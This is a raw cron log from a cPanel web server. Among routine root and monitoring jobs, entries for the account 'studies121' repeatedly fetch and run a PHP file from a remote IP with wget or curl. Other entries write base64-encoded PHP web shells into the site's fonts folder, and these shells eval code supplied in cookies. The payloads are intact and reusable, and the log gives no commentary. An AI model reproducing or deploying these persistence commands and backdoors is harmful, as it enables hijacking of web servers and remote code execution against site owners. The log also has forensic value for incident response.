Sep  6 06:24:02 ip-184-168-122-23 CROND[27430]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 06:24:02 ip-184-168-122-23 CROND[27433]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 06:24:02 ip-184-168-122-23 CROND[27431]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:25:01 ip-184-168-122-23 CROND[27529]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 06:25:01 ip-184-168-122-23 CROND[27530]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  6 06:25:01 ip-184-168-122-23 CROND[27531]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:25:01 ip-184-168-122-23 CROND[27534]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 06:25:01 ip-184-168-122-23 CROND[27537]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:25:01 ip-184-168-122-23 CROND[27536]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 06:25:01 ip-184-168-122-23 CROND[27539]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 06:26:01 ip-184-168-122-23 CROND[27723]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 06:26:01 ip-184-168-122-23 CROND[27725]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 06:26:01 ip-184-168-122-23 CROND[27727]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 06:26:01 ip-184-168-122-23 CROND[27726]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:26:01 ip-184-168-122-23 CROND[27728]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:27:01 ip-184-168-122-23 CROND[27829]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:27:01 ip-184-168-122-23 CROND[27831]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 06:27:01 ip-184-168-122-23 CROND[27830]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 06:27:01 ip-184-168-122-23 CROND[27832]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:28:01 ip-184-168-122-23 CROND[27910]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 06:28:01 ip-184-168-122-23 CROND[27912]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 06:28:01 ip-184-168-122-23 CROND[27913]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:28:01 ip-184-168-122-23 CROND[27914]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:28:01 ip-184-168-122-23 CROND[27915]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 06:29:01 ip-184-168-122-23 CROND[27996]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 06:29:01 ip-184-168-122-23 CROND[27997]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:29:01 ip-184-168-122-23 CROND[27998]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:29:01 ip-184-168-122-23 CROND[28000]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 06:30:01 ip-184-168-122-23 CROND[28097]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:30:01 ip-184-168-122-23 CROND[28101]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 06:30:01 ip-184-168-122-23 CROND[28099]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 06:30:01 ip-184-168-122-23 CROND[28103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 06:30:01 ip-184-168-122-23 CROND[28106]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 06:30:01 ip-184-168-122-23 CROND[28105]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 06:30:01 ip-184-168-122-23 CROND[28104]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 06:30:01 ip-184-168-122-23 CROND[28108]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:31:01 ip-184-168-122-23 CROND[28303]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 06:31:01 ip-184-168-122-23 CROND[28307]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 06:31:01 ip-184-168-122-23 CROND[28306]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:31:01 ip-184-168-122-23 CROND[28305]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 06:31:01 ip-184-168-122-23 CROND[28308]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:32:01 ip-184-168-122-23 CROND[28405]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 06:32:02 ip-184-168-122-23 CROND[28408]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 06:32:02 ip-184-168-122-23 CROND[28407]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 06:32:02 ip-184-168-122-23 CROND[28410]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:32:02 ip-184-168-122-23 CROND[28409]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:33:01 ip-184-168-122-23 CROND[28493]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:33:01 ip-184-168-122-23 CROND[28495]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 06:33:01 ip-184-168-122-23 CROND[28500]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:33:01 ip-184-168-122-23 CROND[28498]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 06:34:01 ip-184-168-122-23 CROND[28590]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 06:34:01 ip-184-168-122-23 CROND[28593]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 06:34:01 ip-184-168-122-23 CROND[28592]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:34:01 ip-184-168-122-23 CROND[28594]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 06:34:01 ip-184-168-122-23 CROND[28595]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:35:01 ip-184-168-122-23 CROND[28696]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 06:35:01 ip-184-168-122-23 CROND[28699]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 06:35:01 ip-184-168-122-23 CROND[28704]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 06:35:01 ip-184-168-122-23 CROND[28706]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 06:35:01 ip-184-168-122-23 CROND[28701]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 06:35:01 ip-184-168-122-23 CROND[28705]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:35:01 ip-184-168-122-23 CROND[28702]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:35:01 ip-184-168-122-23 CROND[28703]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  6 06:36:01 ip-184-168-122-23 CROND[28904]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 06:36:01 ip-184-168-122-23 CROND[28905]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
